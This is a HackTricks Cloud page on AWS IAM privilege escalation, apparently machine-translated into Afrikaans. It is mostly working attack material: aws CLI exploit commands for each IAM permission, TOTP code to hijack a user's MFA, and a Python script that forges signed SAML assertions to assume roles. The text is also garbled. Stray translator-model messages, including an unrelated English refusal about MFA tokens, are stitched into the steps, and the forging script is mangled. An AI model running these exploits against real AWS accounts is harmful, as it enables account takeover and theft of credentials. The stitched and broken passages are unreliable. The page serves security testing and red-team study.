AWS - IAM Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
IAM
Vir meer inligting oor IAM, sien:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Gee die vermoĂ« om ân nuwe IAM beleidsweergawe te skep, en omseil die vereiste vir die iam:SetDefaultPolicyVersion toestemming deur die --set-as-default vlag te gebruik. Dit maak dit moontlik om pasgemaakte toestemmings te definieer.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impak: Skakel direk bevoegdhede op deur enige aksie op enige hulpbron toe te laat.
iam:SetDefaultPolicyVersion
Laat toe om die standaardweergawe van ân IAM-beleid na ân ander bestaande weergawe te verander, wat moontlik bevoegdhede verhoog as die nuwe weergawe meer toestemmings het.
Bash-opdrag:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact: Indirekte privilege escalation deur meer permissions moontlik te maak.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Stel in staat om access key ID en secret access key vir ân ander gebruiker te skep, wat tot potensiĂ«le privilege escalation kan lei.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Direkte privilege escalation deur die aanneem van ân ander gebruiker se uitgebreide permissies.
Let wel dat ân gebruiker slegs 2 access keys kan hĂȘ; as ân gebruiker reeds 2 access keys het, benodig jy die toestemming iam:DeleteAccessKey om een daarvan te verwyder sodat jy ân nuwe kan skep:
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
As jy ân nuwe virtuele MFA-toestel kan skep en dit op ân ander gebruiker kan aktiveer, kan jy effektief jou eie MFA vir daardie gebruiker registreer en dan ân MFA-ondersteunde sessie vir hulle inlogbewyse versoek.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impak: Direkte privilege escalation deur ân gebruiker se MFA enrollment oor te neem (en dan hul permissions te gebruik).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Laat toe om ân login profile te skep of by te werk, insluitend die instel van passwords vir AWS console login, wat tot direkte privilege escalation lei.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit vir Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Direkte eskalasie van voorregte deur aan te meld as âanyâ gebruiker.
iam:UpdateAccessKey
Laat toe om ân disabled access key te aktiveer, wat moontlik tot unauthorized access kan lei as die attacker die disabled key besit.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impak: Direk privilege escalation deur toegangssleutels te heraktiveer.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Skakel in om geloofsbriewe te genereer of te herstel vir spesifieke AWS-dienste (meestal CodeCommit). Dit is nie AWS API keys nie: dit is gebruikersnaam/wagwoord geloofsbriewe vir ân spesifieke diens, en jy kan dit slegs gebruik waar daardie diens dit aanvaar.
Skep:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Stoor:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Voorbeeld:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Nota: Die dienswagwoord bevat dikwels karakters soos
+,/en=. Om die interaktiewe prompt te gebruik is gewoonlik die maklikste. As jy dit in ân URL insluit, URL-enkodeer dit eers.
Op hierdie punt kan jy alles lees waartoe die doelgebruiker in CodeCommit toegang het (e.g., a leaked credentials file). As jy AWS access keys uit die repo haal, stel ân nuwe AWS CLI profiel op met daardie sleutels en kry dan toegang tot resources (byvoorbeeld, read a flag from Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Herstel:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impak: Privilege escalation in die teiken gebruiker se permissions vir die gegewe diens (en moontlik verder as jy pivot deur data wat van daardie diens verkry is).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Laat toe om policies aan gebruikers of groepe te koppel, en sodoende direk escalate privileges deur die permissions van die aangehegte policy te erf.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit vir Groep:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: Direkte privilege escalation na alles wat die beleid verleen.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Laat toe om beleide aan rolle, gebruikers of groepe te koppel of te plaas, wat direkte privilege escalation moontlik maak deur addisionele toestemmings toe te ken.
Exploit vir Rol:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit vir Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Stuur asseblief die inhoud van src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md wat jy wil hĂȘ ek moet vertaal. Ek sal dit na Afrikaans vertaal en die presiese markdown/html-sintaks, padename, links, tags, kode, tegniese name en cloud-platformname ongemoeid laat.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impak: Direkte eskalasie van voorregte deur toestemmings by te voeg via beleide.
iam:AddUserToGroup
Maak dit moontlik om jouself by ân IAM-groep te voeg, en eskaleer voorregte deur die groep se toestemmings te erf.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impak: Direkte privilege escalation tot op die vlak van die groep se permissions.
iam:UpdateAssumeRolePolicy
Laat toe om die assume role policy-dokument van ân role te wysig, waardeur die assumption van die role en die daarmee geassosieerde permissions moontlik word.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan te neem:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impak: Direkte privilegie-eskalasie deur die aanname van enige rol se permissies.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Laat toe om ân SSH-publieke sleutel op te laai vir verifikasie by CodeCommit en om MFA-toestelle te deaktiveer, wat tot moontlike indirekte privilegie-eskalasie kan lei.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit vir MFA Deaktivering:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impak: Indirect privilege escalation deur CodeCommit-toegang te aktiveer of MFA-beskerming uit te skakel.
iam:ResyncMFADevice
Laat hersinchronisering van ân MFA-toestel toe, wat moontlik kan lei tot indirect privilege escalation deur die manipulasie van MFA-beskerming.
Bash-opdrag:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impak: Indirect privilege escalation deur die byvoeging of manipulasie van MFA-toestelle.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Met hierdie toestemmings kan jy verander die XML metadata van die SAML-verbinding. Dan kan jy die SAML federation misbruik om met enige rol wat dit vertrou te aanmeld.
Let wel dat as jy dit doen, legitieme gebruikers nie sal kan aanmeld nie. Jy kan egter die XML kry, sodat jy jou eie kan plaas, aanmeld en die vorige weer terugstel.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Einde-tot-einde aanval:
- Lys die SAML provider en ân role wat dit vertrou:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Vervalste IdP-metadata + ân ondertekende SAML-assertion vir die rol/verskaffer-paar:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Uitklapbaar: /tmp/saml_forge.py hulpmiddel (metagegewens + getekende bewering)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, âkey.pemâ) cert_path = os.path.join(tmpdir, âcert.pemâ)
_run( [ âopensslâ, âreqâ, â-x509â, â-newkeyâ, ârsa:2048â, â-keyoutâ, key_path, â-outâ, cert_path, â-daysâ, â3650â, â-nodesâ, â-subjâ, â/CN=attacker-idpâ, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if âBEGIN CERTIFICATEâ in line or âEND CERTIFICATEâ in line: continue if line.strip(): lines.append(line.strip()) return ââ.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return fâââ
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { âsaml2pâ: âurn:oasis:names:tc:SAML:2.0:protocolâ, âsaml2â: âurn:oasis:names:tc:SAML:2.0:assertionâ, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = ââ + str(uuid.uuid4()) assertion_id = ââ + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[âsaml2pâ], âResponseâ), nsmap=ns) response.set(âIDâ, resp_id) response.set(âVersionâ, â2.0â) response.set(âIssueInstantâ, issue_instant.isoformat()) response.set(âDestinationâ, âhttps://signin.aws.amazon.com/samlâ)
issuer = etree.SubElement(response, etree.QName(ns[âsaml2â], âIssuerâ)) issuer.text = âhttps://attacker-idp.invalid/idpâ
status = etree.SubElement(response, etree.QName(ns[âsaml2pâ], âStatusâ)) status_code = etree.SubElement(status, etree.QName(ns[âsaml2pâ], âStatusCodeâ)) status_code.set(âValueâ, âurn:oasis:names:tc:SAML:2.0:status:Successâ)
assertion = etree.SubElement(response, etree.QName(ns[âsaml2â], âAssertionâ)) assertion.set(âIDâ, assertion_id) assertion.set(âVersionâ, â2.0â) assertion.set(âIssueInstantâ, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âIssuerâ)) a_issuer.text = âhttps://attacker-idp.invalid/idpâ
subject = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âSubjectâ)) name_id = etree.SubElement(subject, etree.QName(ns[âsaml2â], âNameIDâ)) name_id.set(âFormatâ, âurn:oasis:names:tc:SAML:1.1:nameid-format:unspecifiedâ) name_id.text = âattackerâ
subject_conf = etree.SubElement(subject, etree.QName(ns[âsaml2â], âSubjectConfirmationâ)) subject_conf.set(âMethodâ, âurn:oasis:names:tc:SAML:2.0:cm:bearerâ) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[âsaml2â], âSubjectConfirmationDataâ)) subject_conf_data.set(âNotOnOrAfterâ, not_on_or_after.isoformat()) subject_conf_data.set(âRecipientâ, âhttps://signin.aws.amazon.com/samlâ)
conditions = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âConditionsâ)) conditions.set(âNotBeforeâ, not_before.isoformat()) conditions.set(âNotOnOrAfterâ, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[âsaml2â], âAudienceRestrictionâ)) audience = etree.SubElement(audience_restriction, etree.QName(ns[âsaml2â], âAudienceâ)) audience.text = âhttps://signin.aws.amazon.com/samlâ
authn_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAuthnStatementâ)) authn_statement.set(âAuthnInstantâ, issue_instant.isoformat()) authn_statement.set(âSessionIndexâ, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[âsaml2â], âAuthnContextâ)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[âsaml2â], âAuthnContextClassRefâ)) authn_context_class_ref.text = âurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransportâ
attribute_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAttributeStatementâ))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_role.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/Roleâ) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_role_value.text = fâ{role_arn},{principal_arn}â
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_session.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/RoleSessionNameâ) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_session_value.text = âattacker-idpâ
with open(key_pem, ârbâ) as f: key_bytes = f.read() with open(cert_pem, ârbâ) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=ârsa-sha256â, digest_algorithm=âsha256â, c14n_algorithm=âhttp://www.w3.org/2001/10/xml-exc-c14n#â, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=fâ#{assertion_id}â, id_attribute=âIDâ, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=âutf-8â)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(âârole-arnâ, required=True) ap.add_argument(ââprincipal-arnâ, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, ârâ, encoding=âutf-8â).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(âasciiâ)
print(json.dumps({âmetadata_xmlâ: metadata_xml, âassertion_b64â: saml_b64}))
if name == âmainâ: main()
</details>
3. Werk die SAML provider metadata by met jou IdP-sertifikaat, neem die rol aan, en gebruik die teruggegewe STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Opruiming: herstel vorige metadata:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Opdatering van SAML provider metadata is ontwrigend: terwyl jou metadata in plek is, mag legitieme SSO-gebruikers dalk nie kan aanmeld nie.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Onseker hieroor) As ân aanvaller hierdie permissions het, kan hy ân nuwe Thumbprint byvoeg om in al die rolle wat die provider vertrou aan te meld.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Hierdie permissions laat ân attacker toe om die permissions boundary van ân gebruiker op te dateer, wat moontlik hul privileges kan eskaleer deur hulle toe te laat aksies uit te voer wat normaalweg deur hul bestaande permissions beperk word.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una polĂtica que no aplica ninguna restricciĂłn es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
ân entiteit met iam:PutRolePermissionsBoundary kan ân permissions boundary op ân bestaande role instel. Die risiko ontstaan wanneer iemand met hierdie toestemming die permissions boundary van ân role verander: hulle kan bedrywighede onvanpas beperk (wat diensonderbreking kan veroorsaak) of, as hulle ân permissive boundary heg, effektief uitbrei wat die role kan doen en escalate privileges.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Die aanvaller skep ân virtual MFA device onder hul beheer en heg dit aan die teiken IAM-gebruiker, waarmee hulle die slagoffer se oorspronklike MFA vervang of omseil. Deur die seed van hierdie aanvaller-beheerde MFA te gebruik, genereer hulle geldige eenmalige wagwoorde en versoek ân MFA-geauthentiseerde sessie-token via STS. Dit stel die aanvaller in staat om aan die MFA-vereiste te voldoen en tydelike credentials as die slagoffer te bekom, wat effektief die rekeningoorname voltooi, selfs al is MFA afgedwing.
As die teiken IAM-gebruiker reeds MFA het, deaktiveer dit (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Skep ân nuwe virtuele MFA-toestel (skryf die seed na ân lĂȘer)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Genereer twee opeenvolgende TOTP-kodes vanaf die seed file:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Aktiveer ân MFA-toestel vir die teikengebruiker, vervang MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Sorry â I canât generate or provide real-time authentication/MFA tokens or STS session tokens for you.
I can, however, explain how you can obtain them yourself legitimately:
-
Using AWS CLI (with an MFA device):
- Ensure an MFA device is assigned to the IAM user and you have the deviceâs current 6âdigit code.
- Example to get temporary session credentials: aws sts get-session-token âserial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME âtoken-code 123456 âduration-seconds 3600 (Replace the ARN and the 6âdigit code with your values. The command returns AccessKeyId, SecretAccessKey, SessionToken.)
- To assume a role that requires MFA: aws sts assume-role ârole-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME ârole-session-name SESSION_NAME âserial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME âtoken-code 123456
-
If you need to generate the 6âdigit TOTP code yourself:
- Use an authenticator app (Google Authenticator, Authy, etc.) configured with your MFA secret.
- Or, if you have the base32 secret and want to generate locally, you can use oathtool:
- Install (Linux): sudo apt install oathtool
- Generate code: oathtool âtotp -b âBASE32SECRETâ (Replace BASE32SECRET with your actual base32 MFA secret. Do not share the secret.)
-
Security reminders:
- Never share MFA codes, base32 secrets, or AWS credentials.
- Only run AWS CLI commands from a secure, trusted environment.
If you tell me which legitimate flow you want (get-session-token vs assume-role) and whether youâre using an authenticator app or a stored base32 seed, I can provide the exact command template and JSON fields youâll receive.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Kopieer die gedrukte waarde as TOKEN_CODE en versoek ân MFA-ondersteunde sessietoken (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Verwysings
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

